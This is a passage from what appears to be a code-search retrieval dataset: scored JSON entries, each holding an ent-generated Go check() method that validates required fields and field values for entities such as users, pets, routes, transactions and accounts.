u.checkAfterPopulatedRLocked(ca)\n}", "title": "" }, { "docid": "f34ddb4c5dcab1c3365dba856079ee00", "score": "0.60106546", "text": "func (ru *RouteUpdate) check() error {\n\tif v, ok := ru.mutation.Tenant(); ok {\n\t\tif err := route.TenantValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"tenant\", err: fmt.Errorf(\"ent: validator failed for field \\\"tenant\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ru.mutation.Name(); ok {\n\t\tif err := route.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ru.mutation.URI(); ok {\n\t\tif err := route.URIValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"uri\", err: fmt.Errorf(\"ent: validator failed for field \\\"uri\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ru.mutation.Method(); ok {\n\t\tif err := route.MethodValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"method\", err: fmt.Errorf(\"ent: validator failed for field \\\"method\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9dcde44108b14285fc2eaeefbfe79bdb", "score": "0.60051167", "text": "func (vuo *VeterinarianUpdateOne) check() error {\n\tif v, ok := vuo.mutation.Phone(); ok {\n\t\tif err := veterinarian.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"phone\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := vuo.mutation.UserID(); vuo.mutation.UserCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"user\\\"\")\n\t}\n\tif _, ok := vuo.mutation.ClinicID(); vuo.mutation.ClinicCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"clinic\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6433d2da8c2634eff1dfb8389cfbf713", "score": "0.60047305", "text": "func (dju *DetectionJobUpdate) check() error {\n\tif v, ok := dju.mutation.Method(); ok {\n\t\tif err := detectionjob.MethodValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"method\", err: fmt.Errorf(\"ent: validator failed for field \\\"method\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := dju.mutation.SiteID(); ok {\n\t\tif err := detectionjob.SiteIDValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"site_id\", err: fmt.Errorf(\"ent: validator failed for field \\\"site_id\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := dju.mutation.Metric(); ok {\n\t\tif err := detectionjob.MetricValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"metric\", err: fmt.Errorf(\"ent: validator failed for field \\\"metric\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := dju.mutation.Attribute(); ok {\n\t\tif err := detectionjob.AttributeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"attribute\", err: fmt.Errorf(\"ent: validator failed for field \\\"attribute\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := dju.mutation.TimeAgo(); ok {\n\t\tif err := detectionjob.TimeAgoValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"time_ago\", err: fmt.Errorf(\"ent: validator failed for field \\\"time_ago\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := dju.mutation.TimeStep(); ok {\n\t\tif err := detectionjob.TimeStepValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"time_step\", err: fmt.Errorf(\"ent: validator failed for field \\\"time_step\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6c205b5d636f9c84383f878b1de8aa66", "score": "0.60017514", "text": "func (puo *PetUpdateOne) check() error {\n\tif v, ok := puo.mutation.Height(); ok {\n\t\tif err := pet.HeightValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"height\", err: fmt.Errorf(\"ent: validator failed for field \\\"height\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := puo.mutation.Weight(); ok {\n\t\tif err := pet.WeightValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"weight\", err: fmt.Errorf(\"ent: validator failed for field \\\"weight\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := puo.mutation.Sex(); ok {\n\t\tif err := pet.SexValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"sex\", err: fmt.Errorf(\"ent: validator failed for field \\\"sex\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := puo.mutation.BadgeID(); puo.mutation.BadgeCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"badge\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cc0d6b3ae4c99534a434dcb8b6c1de01", "score": "0.60004365", "text": "func (ugc *UserGroupCreate) check() error {\n\tif _, ok := ugc.mutation.JoinedAt(); !ok {\n\t\treturn &ValidationError{Name: \"joined_at\", err: errors.New(`ent: missing required field \"UserGroup.joined_at\"`)}\n\t}\n\tif _, ok := ugc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user_id\", err: errors.New(`ent: missing required field \"UserGroup.user_id\"`)}\n\t}\n\tif _, ok := ugc.mutation.GroupID(); !ok {\n\t\treturn &ValidationError{Name: \"group_id\", err: errors.New(`ent: missing required field \"UserGroup.group_id\"`)}\n\t}\n\tif _, ok := ugc.mutation.UserID(); !ok {\n\t\treturn &ValidationError{Name: \"user\", err: errors.New(`ent: missing required edge \"UserGroup.user\"`)}\n\t}\n\tif _, ok := ugc.mutation.GroupID(); !ok {\n\t\treturn &ValidationError{Name: \"group\", err: errors.New(`ent: missing required edge \"UserGroup.group\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cdf975b831e4c8fa849a7eb2d23b417f", "score": "0.59996325", "text": "func (uu *UserUpdate) check() error {\n\tif v, ok := uu.mutation.Name(); ok {\n\t\tif err := user.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Username(); ok {\n\t\tif err := user.UsernameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"username\", err: fmt.Errorf(\"ent: validator failed for field \\\"username\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Bio(); ok {\n\t\tif err := user.BioValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"bio\", err: fmt.Errorf(\"ent: validator failed for field \\\"bio\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Gender(); ok {\n\t\tif err := user.GenderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"gender\", err: fmt.Errorf(\"ent: validator failed for field \\\"gender\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Role(); ok {\n\t\tif err := user.RoleValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"role\", err: fmt.Errorf(\"ent: validator failed for field \\\"role\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cfd7c9ed5cbe4c93c9b6051401b70c19", "score": "0.5981587", "text": "func (sc *SensorCreate) check() error {\n\tif _, ok := sc.mutation.GetType(); !ok {\n\t\treturn &ValidationError{Name: \"type\", err: errors.New(`ent: missing required field \"type\"`)}\n\t}\n\tif v, ok := sc.mutation.GetType(); ok {\n\t\tif err := sensor.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(`ent: validator failed for field \"type\": %w`, err)}\n\t\t}\n\t}\n\tif _, ok := sc.mutation.Location(); !ok {\n\t\treturn &ValidationError{Name: \"location\", err: errors.New(`ent: missing required field \"location\"`)}\n\t}\n\tif v, ok := sc.mutation.Location(); ok {\n\t\tif err := sensor.LocationValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"location\", err: fmt.Errorf(`ent: validator failed for field \"location\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "44da8050d760a3cfdf50eb46ffef11f8", "score": "0.5975901", "text": "func (ruo *RouteUpdateOne) check() error {\n\tif v, ok := ruo.mutation.Tenant(); ok {\n\t\tif err := route.TenantValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"tenant\", err: fmt.Errorf(\"ent: validator failed for field \\\"tenant\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ruo.mutation.Name(); ok {\n\t\tif err := route.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"ent: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ruo.mutation.URI(); ok {\n\t\tif err := route.URIValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"uri\", err: fmt.Errorf(\"ent: validator failed for field \\\"uri\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := ruo.mutation.Method(); ok {\n\t\tif err := route.MethodValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"method\", err: fmt.Errorf(\"ent: validator failed for field \\\"method\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "68c4108deec4d04e53af4467fd2a128c", "score": "0.59751517", "text": "func (mpuo *MedicalProcedureUpdateOne) check() error {\n\tif v, ok := mpuo.mutation.ProcedureOrder(); ok {\n\t\tif err := medicalprocedure.ProcedureOrderValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureOrder\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureOrder\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mpuo.mutation.ProcedureRoom(); ok {\n\t\tif err := medicalprocedure.ProcedureRoomValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureRoom\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureRoom\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := mpuo.mutation.ProcedureDescripe(); ok {\n\t\tif err := medicalprocedure.ProcedureDescripeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"procedureDescripe\", err: fmt.Errorf(\"ent: validator failed for field \\\"procedureDescripe\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "57dbadada2c1dad05414d25b04b8c6b1", "score": "0.5972492", "text": "func (hdu *HTTPDetectorUpdate) check() error {\n\tif v, ok := hdu.mutation.Status(); ok {\n\t\tif err := httpdetector.StatusValidator(int8(v)); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.status\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hdu.mutation.Name(); ok {\n\t\tif err := httpdetector.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.name\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hdu.mutation.Timeout(); ok {\n\t\tif err := httpdetector.TimeoutValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"timeout\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.timeout\": %w`, err)}\n\t\t}\n\t}\n\tif v, ok := hdu.mutation.URL(); ok {\n\t\tif err := httpdetector.URLValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"url\", err: fmt.Errorf(`ent: validator failed for field \"HTTPDetector.url\": %w`, err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d23ebc4b8d3fbea970f6db8f45c99e7f", "score": "0.5968181", "text": "func (cc *CardCreate) check() error {\n\tif _, ok := cc.mutation.GetType(); !ok {\n\t\treturn &ValidationError{Name: \"type\", err: errors.New(\"ent: missing required field \\\"type\\\"\")}\n\t}\n\tif v, ok := cc.mutation.GetType(); ok {\n\t\tif err := card.TypeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"type\", err: fmt.Errorf(\"ent: validator failed for field \\\"type\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := cc.mutation.Number(); !ok {\n\t\treturn &ValidationError{Name: \"number\", err: errors.New(\"ent: missing required field \\\"number\\\"\")}\n\t}\n\tif _, ok := cc.mutation.StartDate(); !ok {\n\t\treturn &ValidationError{Name: \"startDate\", err: errors.New(\"ent: missing required field \\\"startDate\\\"\")}\n\t}\n\tif _, ok := cc.mutation.ExpiryDate(); !ok {\n\t\treturn &ValidationError{Name: \"expiryDate\", err: errors.New(\"ent: missing required field \\\"expiryDate\\\"\")}\n\t}\n\tif _, ok := cc.mutation.HolderName(); !ok {\n\t\treturn &ValidationError{Name: \"holderName\", err: errors.New(\"ent: missing required field \\\"holderName\\\"\")}\n\t}\n\tif _, ok := cc.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(\"ent: missing required field \\\"status\\\"\")}\n\t}\n\tif v, ok := cc.mutation.Status(); ok {\n\t\tif err := card.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := cc.mutation.URL(); !ok {\n\t\treturn &ValidationError{Name: \"url\", err: errors.New(\"ent: missing required field \\\"url\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ef68686fc47cc039877ddad79d9faca9", "score": "0.59602106", "text": "func (tuo *TransactionUpdateOne) check() error {\n\tif v, ok := tuo.mutation.Status(); ok {\n\t\tif err := transaction.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tuo.mutation.ExecutedCurrencyCode(); ok {\n\t\tif err := transaction.ExecutedCurrencyCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"executedCurrencyCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"executedCurrencyCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tuo.mutation.OriginatingCurrencyCode(); ok {\n\t\tif err := transaction.OriginatingCurrencyCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"originatingCurrencyCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"originatingCurrencyCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tuo.mutation.Direction(); ok {\n\t\tif err := transaction.DirectionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"direction\", err: fmt.Errorf(\"ent: validator failed for field \\\"direction\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0327d700b145d9074310b60323b0b2e5", "score": "0.59414685", "text": "func (suu *SysUserUpdate) check() error {\n\tif v, ok := suu.mutation.RealName(); ok {\n\t\tif err := sysuser.RealNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"real_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"real_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suu.mutation.FirstName(); ok {\n\t\tif err := sysuser.FirstNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suu.mutation.LastName(); ok {\n\t\tif err := sysuser.LastNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suu.mutation.Password(); ok {\n\t\tif err := sysuser.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Password\", err: fmt.Errorf(\"ent: validator failed for field \\\"Password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suu.mutation.Email(); ok {\n\t\tif err := sysuser.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Email\", err: fmt.Errorf(\"ent: validator failed for field \\\"Email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suu.mutation.Phone(); ok {\n\t\tif err := sysuser.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"Phone\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "95c81e9ac94e78efb86059a8fc8167f5", "score": "0.5936453", "text": "func (wc *WorkspaceCreate) check() error {\n\tif _, ok := wc.mutation.Name(); !ok {\n\t\treturn &ValidationError{Name: \"name\", err: errors.New(\"models: missing required field \\\"name\\\"\")}\n\t}\n\tif v, ok := wc.mutation.Name(); ok {\n\t\tif err := workspace.NameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"name\", err: fmt.Errorf(\"models: validator failed for field \\\"name\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := wc.mutation.Plan(); !ok {\n\t\treturn &ValidationError{Name: \"plan\", err: errors.New(\"models: missing required field \\\"plan\\\"\")}\n\t}\n\tif v, ok := wc.mutation.Plan(); ok {\n\t\tif err := workspace.PlanValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"plan\", err: fmt.Errorf(\"models: validator failed for field \\\"plan\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := wc.mutation.Description(); ok {\n\t\tif err := workspace.DescriptionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"description\", err: fmt.Errorf(\"models: validator failed for field \\\"description\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := wc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(\"models: missing required field \\\"created_at\\\"\")}\n\t}\n\tif _, ok := wc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(\"models: missing required field \\\"updated_at\\\"\")}\n\t}\n\tif _, ok := wc.mutation.OwnerID(); !ok {\n\t\treturn &ValidationError{Name: \"owner\", err: errors.New(\"models: missing required edge \\\"owner\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "52cda27cb4dfb992121a4b36ae00e1f8", "score": "0.593392", "text": "func (suuo *SysUserUpdateOne) check() error {\n\tif v, ok := suuo.mutation.RealName(); ok {\n\t\tif err := sysuser.RealNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"real_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"real_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suuo.mutation.FirstName(); ok {\n\t\tif err := sysuser.FirstNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"first_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"first_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suuo.mutation.LastName(); ok {\n\t\tif err := sysuser.LastNameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"last_name\", err: fmt.Errorf(\"ent: validator failed for field \\\"last_name\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suuo.mutation.Password(); ok {\n\t\tif err := sysuser.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Password\", err: fmt.Errorf(\"ent: validator failed for field \\\"Password\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suuo.mutation.Email(); ok {\n\t\tif err := sysuser.EmailValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Email\", err: fmt.Errorf(\"ent: validator failed for field \\\"Email\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := suuo.mutation.Phone(); ok {\n\t\tif err := sysuser.PhoneValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"Phone\", err: fmt.Errorf(\"ent: validator failed for field \\\"Phone\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6a7a3530f694de111f08c2633c427b70", "score": "0.5921193", "text": "func (ac *AccountCreate) check() error {\n\tif _, ok := ac.mutation.GetType(); !ok {\n\t\treturn &ValidationError{Name: \"type\", err: errors.New(\"ent: missing required field \\\"type\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Number(); !ok {\n\t\treturn &ValidationError{Name: \"number\", err: errors.New(\"ent: missing required field \\\"number\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Name(); !ok {\n\t\treturn &ValidationError{Name: \"name\", err: errors.New(\"ent: missing required field \\\"name\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Title(); !ok {\n\t\treturn &ValidationError{Name: \"title\", err: errors.New(\"ent: missing required field \\\"title\\\"\")}\n\t}\n\tif _, ok := ac.mutation.DateCreated(); !ok {\n\t\treturn &ValidationError{Name: \"dateCreated\", err: errors.New(\"ent: missing required field \\\"dateCreated\\\"\")}\n\t}\n\tif _, ok := ac.mutation.DateOpened(); !ok {\n\t\treturn &ValidationError{Name: \"dateOpened\", err: errors.New(\"ent: missing required field \\\"dateOpened\\\"\")}\n\t}\n\tif _, ok := ac.mutation.DateLastUpdated(); !ok {\n\t\treturn &ValidationError{Name: \"dateLastUpdated\", err: errors.New(\"ent: missing required field \\\"dateLastUpdated\\\"\")}\n\t}\n\tif _, ok := ac.mutation.CurrencyCode(); !ok {\n\t\treturn &ValidationError{Name: \"currencyCode\", err: errors.New(\"ent: missing required field \\\"currencyCode\\\"\")}\n\t}\n\tif _, ok := ac.mutation.Status(); !ok {\n\t\treturn &ValidationError{Name: \"status\", err: errors.New(\"ent: missing required field \\\"status\\\"\")}\n\t}\n\tif v, ok := ac.mutation.Status(); ok {\n\t\tif err := account.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := ac.mutation.Source(); !ok {\n\t\treturn &ValidationError{Name: \"source\", err: errors.New(\"ent: missing required field \\\"source\\\"\")}\n\t}\n\tif _, ok := ac.mutation.InterestReporting(); !ok {\n\t\treturn &ValidationError{Name: \"interestReporting\", err: errors.New(\"ent: missing required field \\\"interestReporting\\\"\")}\n\t}\n\tif _, ok := ac.mutation.CurrentBalance(); !ok {\n\t\treturn &ValidationError{Name: \"currentBalance\", err: errors.New(\"ent: missing required field \\\"currentBalance\\\"\")}\n\t}\n\tif _, ok := ac.mutation.AvailableBalance(); !ok {\n\t\treturn &ValidationError{Name: \"availableBalance\", err: errors.New(\"ent: missing required field \\\"availableBalance\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4234c900fdd0aff346e31270fd292bfc", "score": "0.5912765", "text": "func (arc *APIResponseCreate) check() error {\n\tif _, ok := arc.mutation.Code(); !ok {\n\t\treturn &ValidationError{Name: \"code\", err: errors.New(\"ent: missing required field \\\"code\\\"\")}\n\t}\n\tif v, ok := arc.mutation.Code(); ok {\n\t\tif err := apiresponse.CodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"code\", err: fmt.Errorf(\"ent: validator failed for field \\\"code\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := arc.mutation.GetType(); !ok {\n\t\treturn &ValidationError{Name: \"type\", err: errors.New(\"ent: missing required field \\\"type\\\"\")}\n\t}\n\tif _, ok := arc.mutation.Message(); !ok {\n\t\treturn &ValidationError{Name: \"message\", err: errors.New(\"ent: missing required field \\\"message\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6df8b3c0294890f8b0a527c0e1f15f3e", "score": "0.5898145", "text": "func (ucc *UserCardCreate) check() error {\n\tif _, ok := ucc.mutation.CreatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"created_at\", err: errors.New(`ent: missing required field \"created_at\"`)}\n\t}\n\tif _, ok := ucc.mutation.UpdatedAt(); !ok {\n\t\treturn &ValidationError{Name: \"updated_at\", err: errors.New(`ent: missing required field \"updated_at\"`)}\n\t}\n\tif _, ok := ucc.mutation.LimitDaily(); !ok {\n\t\treturn &ValidationError{Name: \"limit_daily\", err: errors.New(`ent: missing required field \"limit_daily\"`)}\n\t}\n\tif _, ok := ucc.mutation.LimitMonthly(); !ok {\n\t\treturn &ValidationError{Name: \"limit_monthly\", err: errors.New(`ent: missing required field \"limit_monthly\"`)}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d9ca0102fee50af7de871fad1606065d", "score": "0.5893804", "text": "func (pu *PetUpdate) check() error {\n\tif v, ok := pu.mutation.Height(); ok {\n\t\tif err := pet.HeightValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"height\", err: fmt.Errorf(\"ent: validator failed for field \\\"height\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := pu.mutation.Weight(); ok {\n\t\tif err := pet.WeightValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"weight\", err: fmt.Errorf(\"ent: validator failed for field \\\"weight\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := pu.mutation.Sex(); ok {\n\t\tif err := pet.SexValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"sex\", err: fmt.Errorf(\"ent: validator failed for field \\\"sex\\\": %w\", err)}\n\t\t}\n\t}\n\tif _, ok := pu.mutation.BadgeID(); pu.mutation.BadgeCleared() && !ok {\n\t\treturn errors.New(\"ent: clearing a required unique edge \\\"badge\\\"\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "924c0514c07cc6b91801f5a8161c6193", "score": "0.58924174", "text": "func (tu *TransactionUpdate) check() error {\n\tif v, ok := tu.mutation.Status(); ok {\n\t\tif err := transaction.StatusValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"status\", err: fmt.Errorf(\"ent: validator failed for field \\\"status\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tu.mutation.ExecutedCurrencyCode(); ok {\n\t\tif err := transaction.ExecutedCurrencyCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"executedCurrencyCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"executedCurrencyCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tu.mutation.OriginatingCurrencyCode(); ok {\n\t\tif err := transaction.OriginatingCurrencyCodeValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"originatingCurrencyCode\", err: fmt.Errorf(\"ent: validator failed for field \\\"originatingCurrencyCode\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := tu.mutation.Direction(); ok {\n\t\tif err := transaction.DirectionValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"direction\", err: fmt.Errorf(\"ent: validator failed for field \\\"direction\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "16acea9e55b4e37da52de2ce6916bcb8", "score": "0.58860755", "text": "func (m *MainCfg) check() error {\n\tif len(m.AutoscalerFiles) == 0 {\n\t\treturn fmt.Errorf(\"Autoscaler files can't be empty\")\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4e8424217c4f2c1a021dbf9a97eeb073", "score": "0.58836305", "text": "func (uuo *UserUpdateOne) check() error {\n\tif v, ok := uuo.mutation.Username(); ok {\n\t\tif err := user.UsernameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"username\", err: fmt.Errorf(\"ent: validator failed for field \\\"username\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uuo.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "cac18a107cc69358cfc2d3b8babfceb1", "score": "0.58780575", "text": "func (uu *UserUpdate) check() error {\n\tif v, ok := uu.mutation.Username(); ok {\n\t\tif err := user.UsernameValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"username\", err: fmt.Errorf(\"ent: validator failed for field \\\"username\\\": %w\", err)}\n\t\t}\n\t}\n\tif v, ok := uu.mutation.Password(); ok {\n\t\tif err := user.PasswordValidator(v); err != nil {\n\t\t\treturn &ValidationError{Name: \"password\", err: fmt.Errorf(\"ent: validator failed for field \\\"password\\\": %w\", err)}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9a8ea7636f4a97fea849a7fd231c2eb", "score": "0.58709264", "text": "func (bmc *BookingMetadatumCreate) check() error {\n\tif _, ok := bmc.mutation.Key(); !ok {\n\t\treturn &ValidationError{Name: \"key\", err: errors.New(`ent: missing required field \"key\"`)}\n\t}\n\tif _, ok := bmc.mutation.Value(); !ok {\n\t\treturn &ValidationError{Name: \"value\", err: errors.New(`ent: missing required field \"value\"`)}\n\t}\n\tif _, ok := bmc.mutation.BookingId(); !ok {\n\t\treturn &ValidationError{Name: \"bookingId\", err: errors.New(`ent: missing required field \"bookingId\"`)}\n\t}\n\tif _, ok := bmc.mutation.BookingID(); !ok {\n\t\treturn &ValidationError{Name: \"booking\", err: errors.New(\"ent: missing required edge \\\"booking\\\"\")}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "0b67a898785e966aef265c3e9f441c6c", "score": "0.5857404", "text": "func (cuuo *CompanyUserUpdateOne) check() error {\n\tif v, ok := 